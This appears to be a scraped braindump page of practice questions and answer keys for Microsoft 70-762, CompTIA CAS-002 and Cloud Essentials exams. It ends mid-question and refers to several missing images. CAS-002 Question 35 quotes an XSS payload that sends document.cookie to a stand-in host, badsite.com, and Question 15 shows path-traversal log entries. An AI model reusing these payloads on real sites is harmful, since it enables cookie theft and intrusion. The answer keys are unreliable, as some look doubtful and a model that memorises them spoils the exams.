Solution: You implement a FOR UPDATE trigger on the table.
Does the solution meet the goal?
A. Yes
B. No
Correct Answer: B
References: http://stackoverflow.com/questions/16081582/difference-between-for-update-of-and-for-update

 

QUESTION 7
You are developing an application that connects to a database. The application runs the following jobs:pass4itsure 70-762 exam question q7

The READ_COMMITTED_SNAPSHOT database option is set to OFF, and auto-content is set to ON. Within the stored
procedures, no explicit transactions are defined.
If JobB starts before Joba, it can finish in seconds. If Joba starts first, JobB takes a long time to complete.
You need to use Microsoft SQL Server Profiler to determine whether the blocking that you observe in JobB is caused by
locks acquired by Joba.
Which trace event class in the Locks event category should you use?
A. LockAcquired
B. LockCancel
C. LockDeadlock
D. lock escalation 
Correct Answer: A
The Lock: Acquired event class indicates that acquisition of a lock on a resource, such as a data page, has been
achieved.
The Lock: Acquired and Lock: Released event classes can be used to monitor when objects are being locked, the type of
locks taken, and for how long the locks were retained. Locks retained for long periods of time may cause contention issues and should be investigated.

 

QUESTION 8
You are experiencing performance issues with the database server.
You need to evaluate schema locking issues, plan cache memory pressure points, and backup I/O problems.
What should you create?
A. a System Monitor report
B. a sys.dm_tran_database_transaction dynamic management view query
C. an Extended Events session that uses Query Editor
D. an Activity Monitor session in Microsoft SQL Management Studio.
Correct Answer: D
References: https://msdn.microsoft.com/en-us/library/hh212951.aspx

 

QUESTION 9
HOTSPOT
You are performing a code review for Transact-SQL statements.
Which action does the constraint in each statement perform? To answer, select the appropriate options in the answer
area.
NOTE: Each correct selection is worth one point.
Hot Area:pass4itsure 70-762 exam question q9

Correct Answer:

pass4itsure 70-762 exam question q9-1

 

QUESTION 10
Note: This question is part of a series of questions that present the same scenario. Each question in this series contains
a unique solution. Determine whether the solution meets the stated goals.
Your company has employees in different regions around the world. You need to create a database table that stores the
following employee attendance information: Employee ID date and time employee checked in to work date and time
employee checked out of work
Date and time information must be time zone aware and must not store fractional seconds.
Solution: You run the following Transact-SQL statement:pass4itsure 70-762 exam question q10

Does the solution meet the goal?
A. Yes
B. No
Correct Answer: A
Datetimeoffset defines a date that is combined with a time of a day that has time zone awareness and is based on a
24-hour clock.
Syntaxis: datetimeoffset [ (fractional seconds precision) ]
Forthe use “datetimeoffset(0)”, the Fractional seconds precision is 0, which is required here.
References: https://msdn.microsoft.com/en-us/library/bb630289.aspx

 

QUESTION 11
Note: This question is part of a series of questions that present the same scenario. Each question in this series contains
a unique solution. Determine whether the solution meets the stated goals. The Account table was created using the
following Transact-SQL statement:pass4itsure 70-762 exam question q11

There are more than 1 billion records in the Account table. The Account Number column uniquely identifies each
account. The ProductCode column has 100 different values. The values are evenly distributed in the table. Table
statistics are refreshed and up to date.
You frequently run the following Transact-SQL SELECT statements:

pass4itsure 70-762 exam question q11-1

You must avoid table scans when you run the queries. You need to create one or more indexes for the table. Solution:
You run the following Transact-SQL statement:

pass4itsure 70-762 exam question q11-2

Does the solution meet the goal?
A. Yes
B. No
Correct Answer: B
Create a clustered index on the AccountNumber column as it is unique, not a nonnonclustered one.
References: https://msdn.microsoft.com/en-us/library/ms190457.aspx

 

QUESTION 12
You have a database that contains three encrypted stored procedures named dbo. Proc1, dbo.Proc2 and dbo.Proc3. The
stored procedures include INSERT, UPDATE, DELETE, and BACKUP DATABASE statements. You have the following
requirements:
-You must run all the stored procedures within the same transaction.
-You must automatically start a transaction when stored procedures include DML statements.
-You must not automatically start a transaction when stored procedures include DDL statements.
You need to run all three stored procedures.
Which four Transact-SQL segments should you use to develop the solution? To answer, move the appropriate Transact-
SQL segments to the answer area and arrange them in the correct order.
Select and Place:pass4itsure 70-762 exam question q12

Correct Answer:

pass4itsure 70-762 exam question q12-1

Note:
Implicit transaction mode remains in effect until the connection executes a SET IMPLICIT_TRANSACTIONS OFF
the statement, which returns the connection to auto-commit mode. In auto-commit mode, individual statements are
committed if
they complete successfully.

pass4itsure 70-762 exam question q12-2

When a connection is in implicit transaction mode and the connection is not currently in a transaction, executing any of
the following statements starts a transaction:
Note 2: XACT_STATE returns the following values.
1 The current request has an active user transaction. The request can perform any actions, including writing data and
committing the transaction. The transaction is committable.
-1 The current request has an active user transaction, but an error has occurred that has caused the transaction to be
classified as an uncommittable transaction. the transaction is uncommittable and should be rolled back.
0 There is no active user transaction for the current request. A commit or rollback operation would generate an error.
References:
https://technet.microsoft.com/en-us/library/ms187807(v=sql.105).aspx https://technet.microsoft.com/en-
us/library/ms189797(v=sql.110).aspx

 

QUESTION 13
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution. Determine whether the solution meets the stated goals.
You have a database that contains a table named Employees. The table stores information about the employees of your
company.
You need to implement and enforce the following business rules:
Limit the values that are accepted by the Salary column.
Prevent salaries less than $15,000 and greater than $300,000 from being entered.
Determine valid values by using logical expressions.
Do not validate data integrity when running DELETE statements.
Solution: You implement a foreign key on the table. Does the solution meet the goal?
A. Yes
B. No
Correct Answer: B
A check constraint is needed.
References: https://en.wikipedia.org/wiki/Check_constraint

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QUESTION 1
A large enterprise acquires another company which uses antivirus from a different vendor. The CISO has requested that data feeds from the two different antivirus platforms be combined in a way that allows management to assess and rate
the overall effectiveness of antivirus across the entire organization. Which of the following tools can BEST meet the CISO’s requirement?
A. GRC
B. IPS
C. CMDB
D. Syslog-ng
E. IDS
Correct Answer: A
Explanation

QUESTION 2
Due to a new regulatory requirement, ABC Company must now encrypt all WAN transmissions. When speaking with the network administrator, the security administrator learns that the existing routers have the minimum processing power to
do the required level of encryption. Which of the following solutions minimizes the performance impact on the router?
A. Deploy inline network encryption devices
B. Install an SSL acceleration appliance
C. Require all core business applications to use encryption
D. Add an encryption module to the router and configure IPSec
Correct Answer: A
Explanation

QUESTION 3
The source workstation image for new accounting PCs has begun blue-screening. A technician notices that the date/time stamp of the image source appears to have changed. The desktop support director has asked the Information Security
department to determine if any changes were made to the source image. Which of the following methods would BEST help with this process? (Select TWO).
A. Retrieve source system image from backup and run file comparison analysis on the two images.
B. Parse all images to determine if extra data is hidden using steganography.
C. Calculate a new hash and compare it with the previously captured image hash.
D. Ask desktop support if any changes to the images were made.
E. Check key system files to see if date/time stamp is in the past six months.
Correct Answer: AC
Explanation

QUESTION 4
The risk manager is reviewing a report which identifies a requirement to keep a business critical legacy system operational for the next two years. The legacy system is out of support because the vendor and security patches are no longer
released. Additionally, this is a proprietary embedded system and little is documented and known about it. Which of the following should the Information Technology department implement to reduce the security risk from a compromise of this
system?
A. Virtualize the system and migrate it to a cloud provider.
B. Segment the device on its own secure network.
C. Install an antivirus and HIDS on the system.
D. Hire developers to reduce vulnerabilities in the code.
Correct Answer: B
Explanation

QUESTION 5
An organization has decided to reduce labor costs by outsourcing back office processing of credit applications to a provider located in another country. Data sovereignty and privacy concerns raised by the security team resulted in the third-
party provider only accessing and processing the data via remote desktop sessions. To facilitate communications and improve productivity, staff at the third party has been provided with corporate email accounts that are only accessible via
the remote desktop sessions. Email forwarding is blocked and staff at the third party can only communicate with staff within the organization. Which of the following additional controls should be implemented to prevent data loss? (Select
THREE).
A. Implement hashing of data in transit
B. Session recording and capture
C. Disable cross session cut and paste
D. Monitor approved credit accounts
E. User access audit reviews
F. Source IP whitelisting
Correct Answer: CEF
Explanation

QUESTION 6
The technology steering committee is struggling with increased requirements stemming from an increase in telecommuting. The organization has not addressed telecommuting in the past. The implementation of a new SSL-VPN and a VOIP
phone solution enables personnel to work from remote locations with corporate assets. Which of the following steps must the committee take FIRST to outline senior management’s directives?
A. Develop an information classification scheme that will properly secure data on corporate systems.
B. Implement database views and constrained interfaces so remote users will be unable to access PII from personal equipment.
C. Publish a policy that addresses the security requirements for working remotely with company equipment.
D. Work with mid-level managers to identify and document the proper procedures for telecommuting.
Correct Answer: C
Explanation

QUESTION 7
A security engineer is responsible for monitoring company applications for known vulnerabilities. Which of the following is a way to stay current on exploits and information security news?
A. Update company policies and procedures
B. Subscribe to security mailing lists
C. Implement security awareness training
D. Ensure that the organization vulnerability management plan is up-to-date
Correct Answer: B
Explanation

QUESTION 8
A security manager for a service provider has approved two vendors for connections to the service provider backbone. One vendor will be providing authentication services for its payment card service, and the other vendor will be providing
maintenance to the service provider infrastructure sites. Which of the following business agreements is MOST relevant to the vendors and service provider’s relationship?
A. Memorandum of Agreement
B. Interconnection Security Agreement
C. Non-Disclosure Agreement
D. Operating Level Agreement
Correct Answer: B
Explanation

QUESTION 9
A security officer is leading a lessons learned meeting. Which of the following should be components of that meeting? (Select TWO).
A. Demonstration of IPS system
B. Review vendor selection process
C. Calculate the ALE for the event
D. Discussion of event timeline
E. Assigning of follow up items
Correct Answer: DE
Explanation

QUESTION 10
The senior security administrator wants to redesign the company DMZ to minimize the risks associated with both external and internal threats. The DMZ design must support security in depth, change management and configurationprocesses, and support incident reconstruction. Which of the following designs BEST supports the given requirements?
A. A dual firewall DMZ with remote logging where each firewall is managed by a separate administrator.
B. A single firewall DMZ where each firewall interface is managed by a separate administrator and logging to the cloud.
C. A SaaS based firewall which logs to the company’s local storage via SSL, and is managed by the change control team.
D. A virtualized firewall, where each virtual instance is managed by a separate administrator and logging to the same hardware.
Correct Answer: A
Explanation

QUESTION 11
Which of the following provides the BEST risk calculation methodology?
A. Annual Loss Expectancy (ALE) x Value of Asset
B. Potential Loss x Event Probability x Control Failure Probability
C. Impact x Threat x Vulnerability
D. Risk Likelihood x Annual Loss Expectancy (ALE)
Correct Answer: B
Explanation

QUESTION 12
Ann, a systems engineer, is working to identify an unknown node on the corporate network. To begin her investigative work, she runs the following nmap command string:
[email protected]:~$ sudo nmap -O 192.168.1.54
Based on the output, nmap is unable to identify the OS running on the node, but the following ports are open on the device:
TCP/22
TCP/111
TCP/512-514
TCP/2049
TCP/32778
Based on this information, which of the following operating systems is MOST likely running on the unknown node?
A. Linux
B. Windows
C. Solaris
D. OSX
Correct Answer: C
Explanation
Explanation/Reference:

QUESTION 13
A government agency considers confidentiality to be of utmost importance and availability issues to be of least importance. Knowing this, which of the following correctly orders various vulnerabilities in the order of MOST important to LEAST
important?
A. Insecure direct object references, CSRF, Smurf
B. Privilege escalation, Application DoS, Buffer overflow
C. SQL injection, Resource exhaustion, Privilege escalation
D. CSRF, Fault injection, Memory leaks
Correct Answer: A
Explanation

QUESTION 14
A company sales manager received a memo from the company’s financial department which stated that the company would not be putting its software products through the same security testing as previous years to reduce the research and
development cost by 20 percent for the upcoming year. The memo also stated that the marketing material and service level agreement for each product would remain unchanged. The sales manager has reviewed the sales goals for the
upcoming year and identified an increased target across the software products that will be affected by the financial department’s change. All software products will continue to go through new development in the coming year. Which of the
following should the sales manager do to ensure the company stays out of trouble?
A. Discuss the issue with the software product’s user groups
B. Consult the company’s legal department on practices and law
C. Contact senior finance management and provide background information
D. Seek industry outreach for software practices and law
Correct Answer: B
Explanation

QUESTION 15
The security administrator finds unauthorized tables and records, which were not present before, on a Linux database server. The database server communicates only with one web server, which connects to the database server via an
account with SELECT only privileges.
Web server logs show the following:
90.76.165.40 — [08/Mar/2014:10:54:04] “GET calendar.php?create%20table%20hidden HTTP/1.1” 200 5724
90.76.165.40 — [08/Mar/2014:10:54:05] “GET ../../../root/.bash_history HTTP/1.1” 200 90.76.165.40 ?- [08/Mar/2014:10:54:04] “GET index.php?user<;scrip>;Creat<;/scrip>; HTTP/1.1” 200 5724
The security administrator also inspects the following file system locations on the database server using the command `ls -al /root’
drwxrwxrwx 11 root root 4096 Sep 28 22:45 .
drwxr-xr-x 25 root root 4096 Mar 8 09:30 ..
-rws—— 25 root root 4096 Mar 8 09:30 .bash_history
-rw——- 25 root root 4096 Mar 8 09:30 .bash_history
-rw——- 25 root root 4096 Mar 8 09:30 .profile
-rw——- 25 root root 4096 Mar 8 09:30 .ssh
Which of the following attacks was used to compromise the database server and what can the security administrator implement to detect such attacks in the future? (Select TWO).
A. Privilege escalation
B. Brute force attack
C. SQL injection
D. Cross-site scripting
E. Using input validation, ensure the following characters are sanitized: <>
F. Update crontab with: find / \( -perm -4000 \) –type f –print0 | xargs -0 ls –l | email.sh
G. Implement the following PHP directive: $clean_user_input = addslashes($user_input)
H. Set an account lockout policy
Correct Answer: AF
Explanation
Explanation/Reference:

QUESTION 16
A member of the software development team has requested advice from the security team to implement a new secure lab for testing malware. Which of the following is the NEXT step that the security team should take?
A. Purchase new hardware to keep the malware isolated.
B. Develop a policy to outline what will be required in the secure lab.
C. Construct a series of VMs to host the malware environment.
D. Create a proposal and present it to management for approval.
Correct Answer: D
Explanation

QUESTION 17
Company XYZ provides cable television service to several regional areas. They are currently installing fiber-to-the-home in many areas with hopes of also providing telephone and Internet services. The telephone and Internet services
portions of the company will each be separate subsidiaries of the parent company. The board of directors wishes to keep the subsidiaries separate from the parent company. However all three companies must share customer data for the
purposes of accounting, billing, and customer authentication. The solution must use open standards, and be simple and seamless for customers, while only sharing minimal data between the companies. Which of the following solutions is
BEST suited for this scenario?
A. The companies should federate, with the parent becoming the SP, and the subsidiaries becoming an IdP.
B. The companies should federate, with the parent becoming the IdP, and the subsidiaries becoming an SSP.
C. The companies should federate, with the parent becoming the IdP, and the subsidiaries becoming an SP.
D. The companies should federate, with the parent becoming the ASP, and the subsidiaries becoming an IdP.
Correct Answer: C
Explanation

QUESTION 18
The Chief Information Security Officer (CISO) at a company knows that many users store business documents on public cloud-based storage, and realizes this is a risk to the company. In response, the CISO implements a mandatory training
course in which all employees are instructed on the proper use of cloud-based storage. Which of the following risk strategies did the CISO implement?
A. Avoid
B. Accept
C. Mitigate
D. Transfer
Correct Answer: C
Explanation

QUESTION 19
A completely new class of web-based vulnerabilities has been discovered. Claims have been made that all common web-based development frameworks are susceptible to attack. Proof-of-concept details have emerged on the Internet. A
security advisor within a company has been asked to provide recommendations on how to respond quickly to these vulnerabilities. Which of the following BEST describes how the security advisor should respond?
A. Assess the reliability of the information source, likelihood of exploitability, and impact to hosted data. Attempt to exploit via the proof-of-concept code. Consider remediation options.
B. Hire an independent security consulting agency to perform a penetration test of the web servers. Advise management of any `high’ or `critical’ penetration test findings and put forward recommendations for mitigation.
C. Review vulnerability write-ups posted on the Internet. Respond to management with a recommendation to wait until the news has been independently verified by software vendors providing the web application software.
D. Notify all customers about the threat to their hosted data. Bring the web servers down into “maintenance mode” until the vulnerability can be reliably mitigated through a vendor patch.
Correct Answer: A
Explanation

QUESTION 20
A software project manager has been provided with a requirement from the customer to place limits on the types of transactions a given user can initiate without external interaction from another user with elevated privileges. This requirement
is BEST described as an implementation of:
A. an administrative control
B. dual control
C. separation of duties
D. least privilege
E. collusion
Correct Answer: C
Explanation

QUESTION 21
The Chief Information Security Officer (CISO) is asking for ways to protect against zero-day exploits. The CISO is concerned that an unrecognized threat could compromise corporate data and result in regulatory fines as well as poor
corporate publicity. The network is mostly flat, with split staff/guest wireless functionality. Which of the following equipment MUST be deployed to guard against unknown threats?
A. Cloud-based antivirus solution, running as local admin, with push technology for definition updates.
B. Implementation of an offsite data center hosting all company data, as well as deployment of VDI for all client computing needs.
C. Host based heuristic IPS, segregated on a management VLAN, with direct control of the perimeter firewall ACLs.
D. Behavior based IPS with a communication link to a cloud based vulnerability and threat feed.
Correct Answer: D
Explanation

QUESTION 22
An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the
following options increases data availability in the event of a datacenter failure?
A. Replicate NAS changes to the tape backups at the other datacenter.
B. Ensure each server has two HBAs connected through two routes to the NAS.
C. Establish deduplication across diverse storage paths.
D. Establish a SAN that replicates between datacenters.
Correct Answer: D
Explanation

QUESTION 23
A security administrator wants to prevent sensitive data residing on corporate laptops and desktops from leaking outside of the corporate network. The company has already implemented full-disk encryption and has disabled all peripheral
devices on its desktops and laptops. Which of the following additional controls MUST be implemented to minimize the risk of data leakage? (Select TWO).
A. A full-system backup should be implemented to a third-party provider with strong encryption for data in transit.
B. A DLP gateway should be installed at the company border.
C. Strong authentication should be implemented via external biometric devices.
D. Full-tunnel VPN should be required for all network communication.
E. Full-drive file hashing should be implemented with hashes stored on separate storage.
F. Split-tunnel VPN should be enforced when transferring sensitive data.
Correct Answer: BD
Explanation

QUESTION 24
An organization would like to allow employees to use their network username and password to access a third-party service. The company is using Active Directory Federated Services for their directory service. Which of the following should
the company ensure is supported by the third-party? (Select TWO).
A. LDAP/S
B. SAML
C. NTLM
D. OAUTH
E. Kerberos
Correct Answer: BE
Explanation

QUESTION 25
A mature organization with legacy information systems has incorporated numerous new processes and dependencies to manage security as its networks and infrastructure are modernized. The Chief Information Office has become
increasingly frustrated with frequent releases, stating that the organization needs everything to work completely, and the vendor should already have those desires built into the software product. The vendor has been in constant
communication with personnel and groups within the organization to understand its business process and capture new software requirements from users. Which of the following methods of software development is this organization’s
configuration management process using?
A. Agile
B. SDL
C. Waterfall
D. Joint application development
Correct Answer: A
Explanation

QUESTION 26
Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim’s privilege level. The browser crashes due
to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue?
A. Integer overflow
B. Click-jacking
C. Race condition
D. SQL injection
E. Use after free
F. Input validation
Correct Answer: E
Explanation

QUESTION 27
A forensic analyst works for an e-discovery firm where several gigabytes of data are processed daily. While the business is lucrative, they do not have the resources or the scalability to adequately serve their clients. Since it is an e-discovery
firm where chain of custody is important, which of the following scenarios should they consider?
A. Offload some data processing to a public cloud
B. Aligning their client intake with the resources available
C. Using a community cloud with adequate controls
D. Outsourcing the service to a third party cloud provider
Correct Answer: C
Explanation

QUESTION 28
select id, firstname, lastname from authors
User input= firstname= Hack;man
lastname=Johnson
Which of the following types of attacks is the user attempting?
A. XML injection
B. Command injection
C. Cross-site scripting
D. SQL injection
Correct Answer: D
Explanation

QUESTION 29
A network administrator with a company’s NSP has received a CERT alert for targeted adversarial behavior at the company. In addition to the company’s physical security, which of the following can the network administrator use to detect the
presence of a malicious actor physically accessing the company’s network or information systems from within? (Select TWO).
A. RAS
B. Vulnerability scanner
C. HTTP intercept
D. HIDS
E. Port scanner
F. Protocol analyzer
Correct Answer: DF
Explanation

QUESTION 30
A software development manager is taking over an existing software development project. The team currently suffers from poor communication due to a long delay between requirements documentation and feature delivery. This gap is
resulting in an above average number of security-related bugs making it into production. Which of the following development methodologies is the team MOST likely using now?
A. Agile
B. Waterfall
C. Scrum
D. Spiral
Correct Answer: B
Explanation

QUESTION 31
Which of the following BEST constitutes the basis for protecting VMs from attacks from other VMs hosted on the same physical platform?
A. Aggressive patch management on the host and guest OSs.
B. Host based IDS sensors on all guest OSs.
C. Different antivirus solutions between the host and guest OSs.
D. Unique Network Interface Card (NIC) assignment per guest OS.
Correct Answer: A
Explanation

QUESTION 32
The Chief Executive Officer (CEO) of a company that allows telecommuting has challenged the Chief Security Officer’s (CSO) request to harden the corporate network’s perimeter. The CEO argues that the company cannot protect its
employees at home, so the risk at work is no different. Which of the following BEST explains why this company should proceed with protecting its corporate network boundary?
A. The corporate network is the only network that is audited by regulators and customers.
B. The aggregation of employees on a corporate network makes it a more valuable target for attackers.
C. Home networks are unknown to attackers and less likely to be targeted directly.
D. Employees are more likely to be using personal computers for general web browsing when they are at home.
Correct Answer: B
Explanation

QUESTION 33
An organization is selecting a SaaS provider to replace its legacy, in house Customer Resource Management (CRM) application. Which of the following ensures the organization mitigates the risk of managing separate user credentials?
A. Ensure the SaaS provider supports dual factor authentication.
B. Ensure the SaaS provider supports encrypted password transmission and storage.
C. Ensure the SaaS provider supports secure hash file exchange.
D. Ensure the SaaS provider supports role-based access control.
E. Ensure the SaaS provider supports directory services federation.
Correct Answer: E
Explanation

QUESTION 34
A security manager has received the following email from the Chief Financial Officer (CFO):
“While I am concerned about the security of the proprietary financial data in our ERP application, we have had a lot of turnover in the accounting group and I am having a difficult time meeting our monthly performance targets. As things
currently stand, we do not allow employees to work from home but this is something I am willing to allow so we can get back on track. What should we do first to securely enable this capability for my group?”
Based on the information provided, which of the following would be the MOST appropriate response to the CFO?
A. Remote access to the ERP tool introduces additional security vulnerabilities and should not be allowed.
B. Allow VNC access to corporate desktops from personal computers for the users working from home.
C. Allow terminal services access from personal computers after the CFO provides a list of the users working from home.
D. Work with the executive management team to revise policies before allowing any remote access.
Correct Answer: D
Explanation

QUESTION 35
A security administrator notices the following line in a server’s security log:
<input name=’credentials’ type=’TEXT’ value='” + request.getParameter(‘><script>document.location=’http://badsite.com/?q=’document.cooki e</script>’) + “‘;
The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server.
Which of the following should the security administrator implement to prevent this particular attack?
A. WAF
B. Input validation
C. SIEM
D. Sandboxing
E. DAM
Correct Answer: A
Explanation
Explanation/Reference:

QUESTION 36
An insurance company is looking to purchase a smaller company in another country. Which of the following tasks would the security administrator perform as part of the security due diligence?
A. Review switch and router configurations
B. Review the security policies and standards
C. Perform a network penetration test
D. Review the firewall rule set and IPS logs
Correct Answer: B
Explanation

QUESTION 37
An intruder was recently discovered inside the data center, a highly sensitive area. To gain access, the intruder circumvented numerous layers of physical and electronic security measures. Company leadership has asked for a thorough
review of physical security controls to prevent this from happening again. Which of the following departments are the MOST heavily invested in rectifying the problem? (Select THREE).
A. Facilities management
B. Human resources
C. Research and development
D. Programming
E. Data center operations
F. Marketing
G. Information technology
Correct Answer: AEG
Explanation

QUESTION 38
A company is in the process of outsourcing its customer relationship management system to a cloud provider. It will host the entire organization’s customer database. The database will be accessed by both the company’s users and its
customers. The procurement department has asked what security activities must be performed for the deal to proceed. Which of the following are the MOST appropriate security activities to be performed as part of due diligence? (Select
TWO).
A. Physical penetration test of the datacenter to ensure there are appropriate controls.
B. Penetration testing of the solution to ensure that the customer data is well protected.
C. Security clauses are implemented into the contract such as the right to audit.
D. Review of the organizations security policies, procedures and relevant hosting certifications.
E. Code review of the solution to ensure that there are no back doors located in the software.
Correct Answer: CD
Explanation

QUESTION 39
Which of the following activities is commonly deemed “OUT OF SCOPE” when undertaking a penetration test?
A. Attempting to perform blind SQL injection and reflected cross-site scripting attacks
B. Undertaking network-based denial of service attacks in production environment
C. Test password complexity of all login fields and input validation of form fields
D. Reverse engineering any thick client software that has been provided for the test
Correct Answer: B
Explanation
Explanation/Reference:

QUESTION 40
A new web based application has been developed and deployed in production. A security engineer decides to use an HTTP interceptor for testing the application. Which of the following problems would MOST likely be uncovered by this tool?
A. The tool could show that input validation was only enabled on the client side
B. The tool could enumerate backend SQL database table and column names
C. The tool could force HTTP methods such as DELETE that the server has denied
D. The tool could fuzz the application to determine where memory leaks occur
Correct Answer: A
Explanation

QUESTION 41
During a recent audit of servers, a company discovered that a network administrator, who required remote access, had deployed an unauthorized remote access application that communicated over common ports already allowed through the
firewall. A network scan showed that this remote access application had already been installed on one third of the servers in the company. Which of the following is the MOST appropriate action that the company should take to provide a more
appropriate solution?
A. Implement an IPS to block the application on the network
B. Implement the remote application out to the rest of the servers
C. Implement SSL VPN with SAML standards for federation
D. Implement an ACL on the firewall with NAT for remote access
Correct Answer: C
Explanation

QUESTION 42
Which of the following is the BEST place to contractually document security priorities, responsibilities, guarantees, and warranties when dealing with outsourcing providers?
A. SLA
B. MOU
C. OLA
D. NDA
Correct Answer: A
Explanation
Explanation/Reference:

QUESTION 43
Using SSL, an administrator wishes to secure public facing server farms in three subdomains: dc1.east.company.com, dc2.central.company.com, and dc3.west.company.com. Which of the following is the number of wildcard SSL certificates
that should be purchased?
A. 1
B. 2
C. 3
D. 6Correct Answer: C
Explanation
Explanation/Reference:

QUESTION 44
The helpdesk department desires to roll out a remote support application for internal use on all company computers. This tool should allow remote desktop sharing, system log gathering, chat, hardware logging, inventory management, and
remote registry access. The risk management team has been asked to review vendor responses to the RFQ. Which of the following questions is the MOST important?
A. What are the protections against MITM?
B. What accountability is built into the remote support application?
C. What encryption standards are used in tracking database?
D. What snapshot or “undo” features are present in the application?
E. What encryption standards are used in remote desktop and file transfer functionality?
Correct Answer: B
Explanation

QUESTION 45
The Chief Executive Officer (CEO) has asked the IT administrator to protect the externally facing web server from SQL injection attacks and ensure the backend database server is monitored for unusual behavior while enforcing rules to
terminate unusual behavior. Which of the following would BEST meet the CEO’s requirements?
A. WAF and DAM
B. UTM and NIDS
C. DAM and SIEM
D. UTM and HSM
E. WAF and SIEM
Correct Answer: A
Explanation

QUESTION 46
A security officer is leading a lessons learned meeting. Which of the following should be components of that meeting? (Select TWO).
A. Demonstration of IPS system
B. Review vendor selection process
C. Calculate the ALE for the event
D. Discussion of event timeline
E. Assigning of follow up items
Correct Answer: DE
Explanation

QUESTION 47
The helpdesk manager wants to find a solution that will enable the helpdesk staff to better serve company employees who call with computer-related problems. The helpdesk staff is currently unable to perform effective troubleshooting and
relies on callers to describe their technology problems. Given that the helpdesk staff is located within the company headquarters and 90% of the callers are telecommuters, which of the following tools should the helpdesk manager use to
make the staff more effective at troubleshooting while at the same time reducing company costs? (Select TWO).
A. Web cameras
B. Email
C. Instant messaging
D. BYOD
E. Desktop sharing
F. Presence
Correct Answer: CE
Explanation

QUESTION 48
A company has decided to move to an agile software development methodology. The company gives all of its developers security training. After a year of agile, a management review finds that the number of items on a vulnerability scan has
actually increased since the methodology change. Which of the following best practices has MOST likely been overlooked in the agile implementation?
A. Penetration tests should be performed after each sprint.
B. A security engineer should be paired with a developer during each cycle.
C. The security requirements should be introduced during the implementation phase.
D. The security requirements definition phase should be added to each sprint.
Correct Answer: D
Explanation

QUESTION 49
CORRECT TEXT
pass4itsure CAS-002 question
Correct Answer: 192.18.1.0/24 any 192.168.20.0/24 3389 any
Explanation
Explanation/Reference:

QUESTION 50
CORRECT TEXT
An administrator wants to install a patch to an application. Given the scenario, download, verify and install the patch in the most secure manner. Instructions The last install that is completed will be the final submission
pass4itsure CAS-002 question
Correct Answer: You need to check the hash value of download software with md5 utility.
Explanation
Explanation/Reference

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CompTIA Cloud+ validates the skills you need to maintain and optimize cloud infrastructure services.

Cloud+ covers the increased diversity of knowledge, skills and abilities required of system administrators to validate what is necessary
to perform effectively in data center jobs.
CompTIA Cloud+ views cloud-based infrastructure services as an increasingly important piece of an organization’s IT systems.
It is the only vendor-neutral, performance-based certification covering more than a specific vendor or a single function like security or
networking to help you better realize the return on investment of cloud infrastructure services.

Pass4itsure offers the latest CompTIA Cloud Essentials CLO-001 practice test free of charge (39Q&As)

QUESTION 1
Which of the following describes the difference between SaaS and IaaS?
A. SaaS defines a standard while IaaS implements the standard.
B. SaaS enables the software developer while IaaSprovides the specifications.
C. SaaS provides applications while IaaS provides equipment.
D. SaaS implements security while IaaS provides information.
Correct Answer: C

QUESTION 2
Which of the following aspects of public cloud computing would a company MOST likely need to consider
to ensure information security?
A. Data integrity
B. Server type
C. Firewall specifications
D. Network hardware
Correct Answer: A

QUESTION 3
Which of the following is BEST used when setting up security for services being used within a public
cloud?
A. LDAP
B. SFTP
C. SNMP
D. SSL
Correct Answer: D

QUESTION 4
A company Chief Information Officer (CIO) who wants to ensure rapid elasticity for the company’s cloud
solution would MOST likely choose which of the following types of cloud?
A. Public cloud
B. Private community cloud
C. Private cloud
D. Community cloud
Correct Answer: A

QUESTION 5
Which of the following is the function of orchestration services?
A. Assemble functional requirements for application development
B. Configure application clusters with Web services
C. Enable and disable load balancers
D. Manage the starting and stopping of application server clusters
Correct Answer: D

QUESTION 6
Which of the following is true when mitigating risks in a cloud environment while avoiding impact to
performance?A. When securing cloud resources, only the most sensitive data should be secured.
B. When securing cloud resources, it is always a best practice to encrypt all data stored in the cloud.
C. When securing cloud resources, data security is not an issue.
D. When securing cloud resources, it is always a best practice to use the strongest security on the most
sensitive data.
Correct Answer: A

QUESTION 7
As part of a critical SaaS application, one of the contractual statements by the cloud provider is a
requirement to perform scheduled maintenance. This has a direct impact on which of the following?
A. Service strategy
B. Service transition
C. Service operation
D. Service design
Correct Answer: C

QUESTION 8
Which of the following is a benefit of cloud computing?
A. Cloud computing delivers IT capabilities that scale with demand.
B. Cloud computing delivers a wide range of services that are easily accessible to users
C. Cloud computing delivers IT capacity on demand.
D. Cloud computing negates the need for a procurement department.
Correct Answer: A

QUESTION 9
How can an organization successfully implement a PaaS strategy?
A. Open up internal databases with Web service access.
B. Take inventory of the application portfolio and select external suppliers
C. Standardize on a limited set of virtual machines.
D. Continuously execute performance analytics to monitor providers
Correct Answer: A

QUESTION 10
A company’s IT department currently spends several hours a day maintaining the hardware of the
database server. The company migrates the server to the cloud. Which of the following job responsibilities
of the IT department has been MOST impacted by this change?
A. Service Strategy
B. Service Operation
C. Service Design
D. Service Transition
Correct Answer: B

QUESTION 11
Which of the following roles can the IT department play in the selection process of cloud computing
providers?
A. Help understand and explain the application lifecycle
B. Help understand performance parametersC. Help understand provider quality
D. All of the above are correct
Correct Answer: D

QUESTION 12
Why does cloud computing shift capital cost to variable cost?
A. Cloud computing is more cost-efficient
B. IT assets are not owned by the customer
C. Servers are better utilized
D. Staff is no longer hired by the customer
Correct Answer: B

QUESTION 13
A private cloud is defined as:
A. a deployment model that uses an external cloud provider to provide host application servicesthat are
Internet accessible.
B. a deployment model that partners with other industry related companies to provide infrastructure
services.
C. a deployment model that uses virtualization technologies to provide infrastructure on demand within its
network.
D. a deployment model that uses an external cloud provider to provide host infrastructure services that
are Internet accessible.
Correct Answer: C

QUESTION 14
Which of the following is important to standardize?
A. Information standards and applications
B. User names and hardware providers
C. Virtual machine images and applications
D. Virtual machine images and identity information standards
Correct Answer: D

QUESTION 15
Which of the following are essential steps to take when creating a virtual server?
A. Select a machine image to run, select an application set to run, select security credentials.
B. Select a machine image to run, select an application set to run, select the size of the virtual machine.
C. Select a machine image to run, select security credentials, select the size of the virtual machine.
D. Select an application set to run, select security credentials, select the size of the virtual machine.
Correct Answer: C

QUESTION 16
A specific cloud deployment has been established specifically for financial services companies to
